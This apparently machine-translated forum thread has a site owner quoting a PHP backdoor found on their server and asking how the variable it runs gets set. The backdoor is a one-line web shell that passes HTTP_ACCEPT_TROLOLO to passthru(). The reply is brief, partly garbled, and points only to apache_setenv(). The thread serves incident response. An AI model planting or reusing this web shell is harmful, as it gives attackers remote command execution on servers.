我在主机上find了一个php后门程序。
<? passthru(getenv(HTTP_ACCEPT_TROLOLO)); ?>
我看到访问日志中的请求,该PHP文件是POST请求,但我不知道该variables的SETENV如何设置; 有人可以解释如何设置这样的variables,如果可能的话,我可以在服务器端限制/禁止设置这些variables。
谢谢
-H。
它由apache_setenv();设置apache_setenv();
search
apache_setenv("HTTP_ACCEPT_TROL
要么
apache_setenv('HTTP_ACCEPT_TROL
你会find你的答案